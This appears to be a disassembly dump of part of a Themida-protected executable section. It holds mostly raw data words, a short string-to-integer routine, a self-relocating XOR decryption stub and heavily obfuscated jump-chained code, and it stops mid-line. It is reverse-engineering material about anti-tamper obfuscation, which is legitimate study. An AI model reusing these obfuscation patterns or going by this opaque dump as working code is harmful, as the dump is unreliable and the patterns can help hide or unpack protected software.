247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0FC1E07BEh, 0FDCF62Bh, 68Dh, 0BD28100h, 0B8533E1Dh dd 0 dd 1C11958Bh, 0C00B0648h, 0D1840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 668AECC3h dd 0AB46CB81h, 0F01F883h, 0FFFF4C84h, 51006AFFh, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0E89BDEE9h, 13h, 39EB187Eh, 38B96969h, 8CCE9B28h, 0B6107EA6h dd 565538BCh, 886EE381h, 5A5B4771h, 1735B589h, 85290648h dd 648044Dh, 0F03F883h, 0FFFE7684h, 50006AFFh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0C02BBDD0h dd 1246CB81h, 0BD8D3C28h, 5B7974h, 0FFD18B66h, 51006AE7h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 515CC4DEh, 8D5BD68Bh, 48467CBDh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0C9DF939Ch dd 9D8BF46Ch, 6482991h, 1B0E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 66438F46h dd 3AD8D381h, 0F03F883h, 7485h, 0D7B70F00h, 178E0Fh, 12E90000h dd 33000000h, 0A2F1ADF4h, 0FB3832ABh, 0F1F41753h, 30A457CBh dd 10BD8D48h, 6A064848h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0E8AAC353h, 57912FC7h dd 36E9649Ah, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 829EC356h, 98CCA80h dd 4816FDBDh, 5F88306h, 14850Fh, 0F3810000h, 38E058DDh dd 7C5E9h, 199D8B00h, 66064806h, 0F883DE8Bh, 53850F06h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 4048C351h, 84194BE2h, 8DD08AFEh dd 484A08BDh, 69958B06h, 0E9064828h, 0B5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 9DC35242h, 0F883B9B2h dd 45850F07h, 51000000h, 17ADB529h, 295B0648h, 48101185h dd 0E5BD8D06h, 6A06481Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 54D5C351h, 0D69BB79h dd 24BA1C27h, 0E97197D6h, 116h, 678BBB66h, 0F0AF883h, 4085h dd 7AEA8100h, 0BB6AC7F4h, 64A967CBh, 4C00BD8Dh, 6A0648h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 3B765EC3h, 0D27832EBh, 6E94F99h, 8B000000h, 48102595h dd 6A5706h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 66B343C3h, 800FD68Bh, 2, 51B918B6h, 66309613h dd 870FD38Bh, 6, 3161BD09h, 3F830648h, 59840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 7944C353h, 0CEAA37B5h, 92CD73ADh, 27D59589h dd 9D8B0648h, 64822BDh, 9D230F30h, 6482939h, 6652C9D1h dd 5A9A9ABAh, 0DD958B47h, 0E9064832h, 0FFFFFFAAh, 68C0Fh dd 958B0000h, 6483195h, 56006A5Fh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 8AD7B348h, 99F704FAh dd 0CF80427Ah, 0BD89F853h, 6484DFCh, 0AFBED2BAh, 9D8D8D1Bh dd 8A064800h, 0D9B5FFD1h, 8B06481Ah, 0C7858DD0h, 50064A9Dh dd 54F7BD8Dh, 8D8D0648h, 6486F82h, 831ABCB8h, 30CF2B54h dd 47C8D007h, 8DF87549h, 486F23B5h, 9A8D8D06h, 2B06486Fh dd 33A4F3CFh, 0B8C9h, 0C00B0000h, 0BD834674h, 6482B2Dh dd 0FF067400h, 48099595h, 0FCB58B06h, 8D06484Dh, 4A9DC785h dd 8DD0FF06h, 48425085h, 0C7D0FF06h, 4813D185h, 106h, 9A58B00h dd 8B064827h, 4830C5B5h, 0B9AD8B06h, 33064815h, 0CC2C0h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8C35545h dd 8B1DB7A4h, 48306195h, 0EDBD8306h, 6482Eh, 4F840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 3F41C4C3h, 0FF89B655h, 48229D95h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0B5F2368h dd 562C8B1Fh, 0BF0FC49Dh, 0B5BD83DFh, 64805h, 1DF850Fh dd 9D8B0000h, 64815B1h, 30E5BD83h, 0F010648h, 1CC85h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 41CF2579h, 8B07C290h, 4802FD95h, 55BD8306h, 6480Ah dd 197840Fh, 8B600000h, 482C15BDh, 0D3B70F06h, 4FBD8361h dd 6484Eh, 17F840Fh, 0B5090000h, 6483035h, 27D19523h, 858D0648h dd 64A9DC7h, 0DE9F5h, 0C5E80000h, 374CC6F6h, 0A472BBBh dd 8B677CBBh, 484DFCB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 6B5652C5h, 66769AB9h dd 0D0FFD08Bh, 0C620DB80h, 480FF985h, 6A5406h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 29B83EC3h, 41457F82h, 4E8h, 4EBEF400h, 0F8BA66FFh, 33B65070h dd 424448Bh, 0AE9h, 0FC094900h, 23CD6A9Ch, 8BFEC032h, 0C8D0F00h dd 0E9000000h, 7, 2D65EC16h, 89CF3DA6h, 60042444h, 0D38B6660h dd 310F5250h, 0E861585Ah, 5, 6898037Fh, 8C0FD2h, 59000000h dd 0F515861h, 0FF5AD3BFh, 480ED5B5h, 0F9B50906h, 8D064817h dd 4838BA85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 2AAB7A68h, 0E873342Bh, 0Ch, 9D4F4F91h dd 9C1E2783h, 8A10620Ch, 20D9D8Bh, 0FF5A0648h, 6AFCD0h dd 5118D89h, 0FF6A0648h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0A8C35646h, 0C1B9D08Dh, 16C99D29h, 0D0FF0648h dd 5B5FFF8h, 60064833h, 3179958Bh, 0FF610648h, 481AD995h dd 6E906h, 7B830000h, 0DB8B2CCEh, 0FCB58BF9h, 6A06484Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 3B94C356h, 564DF861h, 5AD1BF0Fh, 8BD88AC3h dd 481551B5h, 0D838BB06h, 0F60B7EBCh, 37840Fh, 9600000h dd 4815ADB5h, 0B5895106h, 64826C5h, 6C6615Bh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0B5894D40h, 64807A5h, 48589F9h, 6A06484Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 883DC355h, 83D0B70Fh, 840F00F8h, 2F0h, 58B0F60h, 0B8000000h dd 607F2251h, 0B861h, 44B30000h, 0F00F883h, 9F84h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0D2059E50h, 0F8832644h, 5F850F02h, 8B000000h, 4827BD9Dh dd 7F858D06h, 0FC064844h, 9292Dh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 81B190A6h dd 97E940DBh, 8B66903Ch, 890F50D1h, 16h, 0FE951h, 0E8B10000h dd 44313174h, 0FB370CBFh, 0E2F6D930h, 0F905B71h, 80C3D9BFh dd 0B88FE6h, 29000000h, 482FADB5h, 23AE906h, 9D330000h dd 648231Dh, 1B8h, 85895300h dd 6481455h, 84BD8D5Bh, 6A064844h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0B915C355h dd 10E9461Ch, 8C000000h, 8B5298FDh, 6B7DBB91h, 302A4E9Eh dd 0E9B7659Eh, 0E6h, 11A9958Bh, 95310648h, 64832A1h, 0F02F883h dd 4985h, 0F9BD0900h, 8D064804h, 48467CBDh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 4E77DA2Bh, 0E9EDF801h, 0Fh, 95A6D57Ah, 61A9A6D1h, 545ED61Eh dd 0E9350E68h, 8Ah, 0F883D18Bh, 57850F03h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 1CFC357h, 0BD8D006Fh, 6484810h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0F4C35545h, 0E200A0C0h, 0FD5D818Bh dd 1475BD89h, 2BE90648h, 66000000h, 0F883D98Bh, 1F850F05h dd 66000000h, 77E9D98Bh, 0E9000000h, 12h, 7A356C38h, 1B77CDF6h dd 9F4A6B69h, 0A017DF01h, 0BA57F6B1h, 485B6DB1h, 961351B9h dd 83F08A30h, 840F003Fh, 4Ah, 0C149D381h, 0F3067C3h, 20219D0Bh dd 0C9D10648h, 6A47DE8Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 5E97C355h, 66396EABh dd 0F5D71BAh, 289h, 0E95A5200h, 0FFFFFFB3h, 9F98529h, 0F8830648h dd 99850F05h, 89000000h, 4828118Dh, 0D98C6606h, 10E8h dd 779D1B00h, 19CE9EEBh, 0D385EE61h, 0F72D1C8Eh, 55D280C8h dd 4C1F65Ah, 3C850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 699AFAC3h, 11B98074h dd 0B8h, 41E9F900h, 8B000000h, 481C2D95h, 3840F06h, 66000000h dd 858BDE8Bh, 64822E5h, 0E0FFE5B3h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 94C35242h, 0D71404A1h, 6650DC75h dd 5BDB87BBh, 1AD9BD83h, 0F000648h, 11085h, 0F7E38100h dd 8A72473Bh, 76BA90DAh, 5061F65Ch, 90D38B66h, 0C6DE8B66h dd 480FF985h, 9D684506h, 8B239277h, 240481DEh, 6ADFF1CCh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5CC35646h dd 3D9D8BD0h, 0FF06480Ch, 480ED5B5h, 91852906h, 8D064813h dd 4838BA85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 6F9EDAE0h, 5169DE47h, 51C7D281h dd 0FF5B59B7h, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 28F364A1h, 8BEEE3CCh dd 48312D95h, 0E99D8B06h, 89064813h, 481AD985h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 57B222F7h, 0A5EE4105h, 7E9h, 25934200h, 0A5C28E41h dd 8370EA81h, 0F5864BCh, 689h, 0DECA8100h, 6049B713h, 751B533h dd 95090648h, 648281Dh, 53BD8361h, 6484Eh, 4B840Fh, 11E90000h dd 21000000h, 4C549212h, 46E9DA5Dh, 0F72CDADEh, 4CB0E651h dd 3305B5FFh, 0BD890648h, 648065Dh, 0CE9h, 2BBC3700h, 0D45FE636h dd 2251BB75h, 0D995FFBCh, 0F06481Ah, 681h, 4D958B00h, 8906482Ch dd 4814E995h, 0F88306h, 10F850Fh, 12E90000h, 7F000000h dd 59ED8446h, 5D5DA15Fh, 0AFE7D4E1h, 8B06B56Eh, 91BD8345h dd 64800h, 0B3840Fh, 0BB660000h, 0B5FF30B8h, 6480091h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D9C35545h dd 0F17428EBh, 4D95314Bh, 0E9064800h, 14h, 8691FCECh, 4A9CDC5Dh dd 3E442A1Ah, 45CC0A4Eh, 0D01355B0h, 1B8h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 11222462h, 0C933F042h, 9D09F878h, 6480655h, 1B7E9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 3160ABD9h, 480BADB5h, 0AE906h, 0A1E40000h dd 4AA4A134h, 0D8053C92h, 5B5FF61h, 89064833h, 480E75BDh dd 5B5FF06h, 0F064833h, 0B589DBB7h, 6483125h, 1AD9B5FFh dd 9D2B0648h, 648297Dh, 2BB1B531h, 51E90648h, 29000001h dd 480A2DBDh, 0B5315F06h, 6481451h, 15D5BD83h, 0F000648h dd 9B85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 3584CEA3h, 1A399D8Bh, 85C60648h dd 6480FF9h, 0E281664Dh, 0B4680776h, 8B885FB5h, 240481DEh dd 1BD5C0F4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 4FC35747h, 0DE9676C3h, 0BD443FAAh, 2DB5FFE7h, 8106482Fh dd 0E6B95FDAh, 0BA858D47h, 31064838h, 4829498Dh, 0E9D0FF06h dd 9, 0D6450235h, 0FB300D4Bh, 0D585892Bh, 80064815h, 9D8B16DAh dd 6480D99h, 0B8h, 65852900h, 89064831h, 484DFCBDh, 61BD8906h dd 81064830h, 1BD971F3h, 0FC00B06h, 3184h, 8D8B6000h, 64808E9h dd 6AE961h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 3CAB94C3h, 23919D8Bh, 0B5FF0648h dd 6481AD9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 29C35242h, 858D1AE2h, 64A9DC7h, 8820Fh, 860F0000h dd 2, 0F50D18Bh, 28Dh, 89D08B00h, 41B62404h, 0BD8D5650h dd 64854F7h, 79DC8D8Dh, 0BCB80648h, 2B748323h, 0D00730CFh dd 754947C8h, 83585EF8h, 480091BDh, 6740006h, 0CED8D8Bh dd 0C9330648h, 0B8h, 0FC00B00h, 9984h, 2DBD8300h, 6482Bh dd 95FF0674h, 6480995h, 0B8h, 75C00B00h, 4BD8309h, 106484Eh dd 0BD830974h, 6484E04h, 8B0E7502h, 484DFCB5h, 0C7858D06h dd 0FF064A9Dh, 50858DD0h, 0FF064842h, 0B9BD83D0h, 2064804h dd 0A58B2F75h, 6482709h, 91858Bh, 4890648h, 0D185C724h dd 1064813h, 8B000000h, 484E00B5h, 0B9AD8B06h, 0B8064815h dd 1, 0EB000CC2h, 0D185C700h, 1064813h, 8B000000h, 482709A5h dd 0C5B58B06h, 8B064830h, 4815B9ADh, 0C2C03306h, 0BD83000Ch dd 6482EEDh, 830F7400h, 48229DBDh, 6740006h, 229D95FFh dd 0B58B0648h, 6484DFCh, 7E8C3h, 799F0000h, 1609D34Eh dd 14E929h, 0F87A0000h, 109B9ABCh, 0D89E2DEDh, 0C741BCD5h dd 0E76F3Eh, 0E95A3723h, 10h, 1EC2B1D4h, 0D5874DF1h, 9C092921h dd 6AF1E5E1h, 0BAh, 0DFB70F00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_540FCC ; --------------------------------------------------------------------------- loc_540FCA: ; CODE XREF: Themida_:00540FCFj inc eax inc edi loc_540FCC: ; CODE XREF: Themida_:00540FC8j cmp byte ptr [edi], 0 jnz short loc_540FCA xor ecx, ecx mov edi, [ebp+8] jmp short loc_540FFB ; --------------------------------------------------------------------------- loc_540FD8: ; CODE XREF: Themida_:00540FFDj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_540FF0 ; --------------------------------------------------------------------------- loc_540FED: ; CODE XREF: Themida_:00540FF3j mul ebx dec esi loc_540FF0: ; CODE XREF: Themida_:00540FEBj cmp esi, 0 ja short loc_540FED pop ebx add ecx, eax pop eax inc edi dec eax loc_540FFB: ; CODE XREF: Themida_:00540FD6j or eax, eax jnz short loc_540FD8 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 6Ah, 0, 57h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 9D09AE76h, 6481601h, 0E8D68B66h, 0Ch, 0C60E9B68h, 0E8657914h dd 0AD9215E8h, 23BDB589h, 665A0648h, 0C18BDE8Bh, 218FAE9h dd 59003F00h, 2, 5A99E000h, 5A9ED200h, 59002800h, 5A9ED202h dd 12FF6800h, 24600h, 200h, 100h, 300h, 0B94BD00h, 0FAh dd 4 dup(0) dd 54924900h, 54793D00h, 542A4100h, 54D9D400h, 5447BD00h dd 546A1900h, 54ACC900h, 541AF200h, 5488FF00h, 54719400h dd 547C8500h, 546C7000h, 5455BB00h, 54889300h, 546D2800h dd 54BB9500h, 54555F00h, 54AA6E00h, 54340E00h, 54838100h dd 546E8700h, 54817900h, 5436A600h, 543FDA00h, 54A5F700h dd 542A6000h, 54199700h, 5490FA00h, 54CA7200h, 543AE600h dd 544F0000h, 54290900h, 54292F00h, 5499F700h, 54BDE300h dd 54C85200h, 547DCB00h, 54D82C00h, 54220C00h, 545A8E00h dd 54D02400h, 54C02E00h, 549DE100h, 5487F000h, 545FEB00h dd 5481C000h, 54366400h, 54BD5E00h, 54C5E800h, 547D6100h dd 546A8700h, 54AAA700h, 54B2A200h, 54ABBD00h, 5421D700h dd 546B0B00h, 5483FE00h, 54980D00h, 549B2000h, 54926D00h dd 54524400h, 54752600h, 5433D300h, 54763700h, 54A75100h dd 54295200h, 54593C00h, 548F0200h, 54339A00h, 548C0A00h dd 54C31D00h, 54197500h, 54AA3C00h, 54B81C00h, 5445C300h dd 54686E00h, 54B1BB00h, 5439D200h, 544F2900h, 54AF7B00h dd 54BA1B00h, 54BC7400h, 5488C000h, 54C93E00h, 546D7A00h dd 543F2400h, 5425EC00h, 54D6EA00h, 542A4A00h, 54B03600h dd 54880A00h, 54575200h, 5427BD00h, 544A0300h, 544ED100h dd 54807B00h, 542EFE00h, 5487E800h, 546C8900h, 54513000h dd 54D94E00h, 54195000h, 54D0AA00h, 54352A00h, 545A5800h dd 54BDD200h, 54212300h, 5482EB00h, 5463E700h, 54C9B800h dd 54BB0300h, 54C18800h, 54712500h, 541B0500h, 54900B00h dd 541C7900h, 54176C00h, 54A4FC00h, 549DAF00h, 54A08500h dd 548BF000h, 543F6000h, 54954A00h, 54CED600h, 54B0E300h dd 543FAF00h, 54462600h, 54B3DC00h, 5497D300h, 549DBD00h dd 54725A00h, 54569F00h, 54A2E500h, 548B2A00h, 54C5A600h dd 54513D00h, 5453BC00h, 545CE800h, 549F6700h, 54C53000h dd 54D21B00h, 54CF5F00h, 5439DC00h, 54D99400h, 54527100h dd 54625400h, 54764F00h, 542B7700h, 542BEA00h, 54A26600h dd 54994A00h, 542D3400h, 5481FB00h, 54A04A00h, 54282700h dd 54800C00h, 54427900h, 5469DD00h, 54CD6E00h, 546ABB00h dd 547F9200h, 54BE8100h, 544C4B00h, 5485A500h, 54AEA900h dd 5422A800h, 5455D000h db 0 ; --------------------------------------------------------------------------- loc_541331: ; CODE XREF: Themida_:005631A6j ; Themida_:0056D782j ... pusha pushf cld call $+5 pop edi sub edi, 6487E7Ch mov eax, edi add edi, 6487B94h cmp eax, [edi+2Ch] jnz short loc_54134F jmp short loc_541362 ; --------------------------------------------------------------------------- loc_54134F: ; CODE XREF: Themida_:0054134Bj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_54135E ; --------------------------------------------------------------------------- loc_541359: ; CODE XREF: Themida_:00541360j add [edi+ecx*4+40h], eax dec ecx loc_54135E: ; CODE XREF: Themida_:00541357j or ecx, ecx jnz short loc_541359 loc_541362: ; CODE XREF: Themida_:0054134Dj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_54136F: ; CODE XREF: Themida_:00541376j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_54136F loc_541378: ; CODE XREF: Themida_:loc_5419D8j ; Themida_:loc_542605j ... lodsb xor al, bl jmp loc_547019 ; --------------------------------------------------------------------------- a1S db '1ßéÒ¼',0 dw 0B900h aAYs2i db ' ,',8,'<)ÊYé2‰',0 align 4 dd 8124148Bh, 4C4h, 2710E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5413A2: ; CODE XREF: Themida_:00542F85j sub esp, 4 mov [esp], ebx push 200000h mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp and eax, ebx jmp loc_545F07 ; --------------------------------------------------------------------------- dw 0B9h dd 21000001h, 2434FFC8h, 1009E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5413DA: ; CODE XREF: Themida_:00546915j push edi push edx mov edx, 412D7B41h add edx, 3503542Ch or edx, 67E20B42h xor edx, 1E00C751h mov edi, edx jmp loc_544B6D ; --------------------------------------------------------------------------- dw 5B66h dd 80D7B652h, 94E948F6h db 9Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_541407: ; CODE XREF: Themida_:00549006j mov ecx, ebp pop ebp jmp loc_5494D9 ; --------------------------------------------------------------------------- db 59h dd 4C181h, 0E4E90000h, 0F600006Bh, 5E8C0D8h, 0CAE9D0F6h dd 10000AFh, 24048BC5h, 5704C483h, 2BFh, 5FFD0100h, 4EC81h dd 2C890000h, 2474FF24h, 242C8B04h, 8F04C483h, 248B2404h dd 4D36624h, 1DE99C24h, 8BFFFFFFh, 43E92424h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_541463: ; CODE XREF: Themida_:0054A3C1j shr ecx, 5 jmp loc_547189 ; --------------------------------------------------------------------------- db 0BAh dd 75F033E3h, 4E5AD629h, 74DCE9h, 243C8700h, 4EC835Ch dd 0E9241489h, 5D56h, 0E924148Bh, 2839h ; --------------------------------------------------------------------------- loc_541490: ; CODE XREF: Themida_:0054CF8Cj pop edx xor ebp, ebx pop ebx neg ebp add ebp, 34E92A2Fh sub ebp, 48FB0E21h and eax, ebp pop ebp jmp loc_549EDD ; --------------------------------------------------------------------------- loc_5414AA: ; CODE XREF: Themida_:0054C437j push esp jmp loc_54BC13 ; --------------------------------------------------------------------------- dd 8C15E95Bh, 0BDE90000h, 52FFFFFEh, 2D06856h, 348B2529h dd 0C1ECE924h, 215E0000h, 2434FFD0h, 0E924148Bh, 1639h ; --------------------------------------------------------------------------- loc_5414D8: ; CODE XREF: Themida_:005466E0j add bh, cl pop ecx sub ch, bh pop ebx add ch, 38h inc ch xor ch, 5Dh jmp loc_54AA4A ; --------------------------------------------------------------------------- db 51h dd 827B54B9h, 81D9F77Ah, 9E6961F1h, 59CE0128h, 4F45E9h dd 81DAF700h, 0B94341EAh, 0BF28121h, 29B61441h, 0C8295AD0h dd 90269D05h, 240C8B26h, 65AA68h, 242C8900h, 0BCE9E589h dd 81000006h, 2E9h, 240C8700h, 6624248Bh, 66240C89h, 0E9C8B60Fh dd 3C62h, 0F281425Bh, 70AE7605h, 0AC9F281h, 0D0292328h dd 5624148Bh, 0C681E689h, 4, 8704C683h, 515C2434h, 0C181E189h dd 4, 0A868E9h, 2EFC100h, 0AF9AEF81h, 0F929E511h, 35A2E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_541586: ; CODE XREF: Themida_:005484C4j mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_54B49E ; --------------------------------------------------------------------------- db 31h, 0D8h, 5Bh dd 30FFC331h, 0FFFDCBE9h, 241C89FFh, 1280E9h, 81CE0100h dd 985BE7C6h, 0A365E97Fh, 48F0000h, 24248B24h, 148AE9h dd 54B6B800h, 4481121Fh, 765C0424h, 44016276h, 6C810424h dd 765C0424h, 29586276h, 0BA522404h, 121F54B6h, 4245429h dd 0B5B8E9h, 5B7ABF00h, 0F7811FECh, 6CF65BE4h, 815FFB89h dd 0CA4A55C2h, 81DA297Eh, 0CA4A55EAh, 2C685B7Eh, 89000047h dd 72BB241Ch, 0D1658F0Eh, 83BE56E3h, 8138FD12h, 0A45220C6h dd 5EF331EFh, 5F2EE9h, 241C8B00h, 0E9E08950h, 7D38h ; --------------------------------------------------------------------------- loc_541644: ; CODE XREF: Themida_:00544785j mov eax, 7955046Dh shl eax, 2 jmp loc_54CE71 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0F6h dd 8115CA45h, 0E870A2C2h, 182AE906h, 48B0000h, 4C48324h dd 61A2E9h, 24148900h, 2BAh, 0A7EB8100h, 1601638h, 0A7C381D3h dd 0E9601638h, 80D1h, 4C781h, 0C7830000h, 243C8704h, 4EC835Ch dd 0B9240C89h, 51414327h, 2E45E181h, 0E981062Bh, 0AD068A4h dd 68F987h, 29000000h, 875F243Ch, 7AA5E9F9h, 1BA0000h dd 0E9000000h, 0B9B1h, 8C5AE953h, 81660000h, 1B452404h dd 55C8E9h, 4B496800h, 0C890000h, 0B5D2E924h, 0F6810000h dd 7737F84Ah, 348BF389h, 4C48324h, 7AFCB850h, 0E0C17C90h dd 326FE906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_541702: ; CODE XREF: Themida_:00545FE6j add esi, 4 xchg esi, [esp] pop esp push dword ptr [edi+eax*4] push ebp push ecx push edi mov edi, 57782206h not edi not edi shr edi, 4 jmp loc_549989 ; --------------------------------------------------------------------------- db 8Bh dd 53E9241Ch, 8100009Eh, 4C6h, 24348700h, 24048F5Ch, 0B283E9h dd 0F9BE5600h, 0C1313C03h, 0EE8107E6h, 105D6640h, 0E1DFC681h dd 0F12974D0h, 0A1C1815Eh, 0E92EE129h, 9F76h, 8904EC83h dd 0E9522424h, 9945h, 24048B66h, 14D768h, 867BE900h, 0C3010000h dd 8F7AE9h, 0D5BD5500h, 0E920CF3Ah, 97Bh, 2474FF50h, 48F5804h dd 0DFE95C24h, 300000B9h, 0F3E953D8h, 81000042h, 4C4h dd 60BD5500h, 5725E40Bh, 4B7F13BFh, 8BFD3139h, 0C483243Ch dd 70C58104h, 0E90F31FCh, 34h, 4DC3E95Eh, 59660000h, 95B05066h dd 5866C300h, 0EB80C328h, 0B1515095h, 29B0501Ah, 31E9B92Ch dd 59000078h, 28E7C280h, 0ADEAE9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5417F6: ; CODE XREF: Themida_:00546039j push ebx jmp loc_542672 ; --------------------------------------------------------------------------- dd 2D5DE801h, 8A377D3h, 0D305D801h, 2D08A377h, 2BE170E3h dd 0C1F4E9h, 777B6800h, 1E918B4h db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54181F: ; CODE XREF: Themida_:005421FBj mov ebp, [esp] add esp, 4 push 417727FFh pop edx add edx, 5A184A8Dh add edx, 64FD70EBh jmp loc_54B3D5 ; --------------------------------------------------------------------------- loc_54183C: ; CODE XREF: Themida_:00543565j add ebp, ecx pop ecx xchg ebp, [esp] jmp loc_542C2C ; --------------------------------------------------------------------------- db 52h dd 7D3835BAh, 76E28157h, 81411F76h, 0A5436BE2h, 0A22E976h dd 0E0C10000h, 0AC9E906h, 0D5F70000h, 0ED81D5F7h, 0BA75963Bh dd 0ECE9EA01h, 81000067h, 4C3h, 4EB8100h, 0E9000000h, 0B8C9h dd 57240489h, 0BE05CABFh, 91EF816Fh, 530582E5h, 1D57E9h dd 68505200h, 31E36131h, 5AE95058h, 0E900003Eh, 0FFFFFAC8h dd 2B37E95Eh, 27050000h, 0F767602Ch, 8472E9D8h, 0C890000h dd 62886824h, 29593D46h, 5904244Ch, 83240C8Bh, 0A56804C4h dd 8900007Ah, 6853243Ch, 41E30133h, 0FFFD50E9h, 4EC83FFh dd 54242C89h, 0A6CDE9h db 0 ; --------------------------------------------------------------------------- loc_5418F5: ; CODE XREF: Themida_:00548489j shr ebp, 6 push esi mov esi, 20901002h push ebx push eax mov eax, 669E0F0Eh mov ebx, 0F622659Dh add ebx, eax jmp loc_54B02D ; --------------------------------------------------------------------------- db 5Bh, 83h, 0C4h dd 57ECE904h, 0F7530000h, 505B2414h, 0C60219B8h, 51E82538h dd 68E9018Ch db 0B5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54192F: ; CODE XREF: Themida_:0054C9FBj or edi, 59B23981h jmp loc_54A51C ; --------------------------------------------------------------------------- loc_54193A: ; CODE XREF: Themida_:00543973j mov esi, esp add esi, 4 push ecx mov ecx, 4 add esi, ecx pop ecx jmp loc_54D823 ; --------------------------------------------------------------------------- dd 9C241CF6h, 0FFFF52E9h, 4C481FFh, 33000000h, 0C31240Ch dd 240C3324h, 1489665Ch, 9C506624h, 0FFFA03E9h, 1C77FFFFh dd 6659669Dh, 9C2414D3h, 2ADE9h, 0ED815900h, 640D6E0Fh dd 4572C181h, 4BE923A7h, 0F70000C0h, 0E99C241Ch, 0FFFFF9D8h dd 8158C601h, 4C6h, 24348700h db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 57F9h mov [esp], eax mov eax, 7E6C434Eh add eax, 78B451C2h sub eax, 0F720950Ch add ebp, eax pop eax jmp loc_54834D ; --------------------------------------------------------------------------- loc_5419CF: ; CODE XREF: Themida_:0054ACABj sub [esp+4], eax jmp loc_54C537 ; --------------------------------------------------------------------------- loc_5419D8: ; CODE XREF: 